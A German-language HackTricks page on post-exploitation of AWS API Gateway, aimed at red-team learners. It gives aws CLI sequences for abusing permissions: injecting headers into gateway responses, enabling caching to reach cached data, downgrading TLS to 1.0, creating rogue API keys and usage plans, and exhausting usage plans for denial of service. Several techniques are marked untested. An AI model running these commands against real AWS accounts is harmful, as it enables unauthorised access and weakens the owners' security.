AWS - API Gateway Post Exploitation

Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

API Gateway

Für weitere Informationen siehe:

pageAWS - API Gateway Enum

Zugriff auf nicht freigegebene APIs

Sie können einen Endpunkt unter https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint mit dem Dienst com.amazonaws.us-east-1.execute-api erstellen, den Endpunkt in einem Netzwerk freigeben, auf das Sie Zugriff haben (möglicherweise über eine EC2-Maschine), und eine Sicherheitsgruppe zuweisen, die alle Verbindungen zulässt. Dann können Sie von der EC2-Maschine aus auf den Endpunkt zugreifen und somit die Gateway-API aufrufen, die zuvor nicht freigegeben war.

DoS von Nutzungsplänen

Im Abschnitt Enumeration können Sie sehen, wie Sie den Nutzungsplan der Schlüssel erhalten können. Wenn Sie den Schlüssel haben und er auf X Nutzungen pro Monat begrenzt ist, könnten Sie ihn einfach verwenden und einen DoS verursachen.

Der API-Schlüssel muss nur in einem HTTP-Header namens x-api-key enthalten sein.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Ein Angreifer mit den Berechtigungen apigateway:UpdateGatewayResponse und apigateway:CreateDeployment kann eine vorhandene Gateway-Antwort ändern, um benutzerdefinierte Header oder Antwortvorlagen einzuschließen, die sensible Informationen preisgeben oder bösartige Skripte ausführen.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potenzielle Auswirkungen: Offenlegung sensibler Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.

Benötigt Test

apigateway:UpdateStage, apigateway:CreateDeployment

Ein Angreifer mit den Berechtigungen apigateway:UpdateStage und apigateway:CreateDeployment kann eine vorhandene API Gateway-Stage ändern, um den Datenverkehr auf eine andere Stage umzuleiten oder die Caching-Einstellungen zu ändern, um unbefugten Zugriff auf zwischengespeicherte Daten zu erhalten.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potenzielle Auswirkungen: Unbefugter Zugriff auf zwischengespeicherte Daten, Unterbrechung oder Abfangen des API-Verkehrs.

Testen erforderlich

apigateway:PutMethodResponse, apigateway:CreateDeployment

Ein Angreifer mit den Berechtigungen apigateway:PutMethodResponse und apigateway:CreateDeployment kann die Methodenantwort einer vorhandenen API Gateway REST-API-Methode ändern, um benutzerdefinierte Header oder Antwortvorlagen einzuschließen, die sensible Informationen preisgeben oder bösartige Skripte ausführen.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potenzielle Auswirkungen: Offenlegung sensibler Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.

Testen erforderlich

apigateway:UpdateRestApi, apigateway:CreateDeployment

Ein Angreifer mit den Berechtigungen apigateway:UpdateRestApi und apigateway:CreateDeployment kann die Einstellungen der API Gateway REST-API ändern, um das Logging zu deaktivieren oder die minimale TLS-Version zu ändern, was potenziell die Sicherheit der API schwächen kann.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potenzielle Auswirkungen: Schwächung der Sicherheit der API, was möglicherweise unbefugten Zugriff ermöglicht oder sensible Informationen offenlegt.

Testen erforderlich

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Ein Angreifer mit den Berechtigungen apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan und apigateway:CreateUsagePlanKey kann neue API-Schlüssel erstellen, sie mit Nutzungsplänen verknüpfen und diese Schlüssel dann für unbefugten Zugriff auf APIs verwenden.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Potenzielle Auswirkungen: Unberechtigter Zugriff auf API-Ressourcen, Umgehung von Sicherheitskontrollen.

Benötigt Test

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated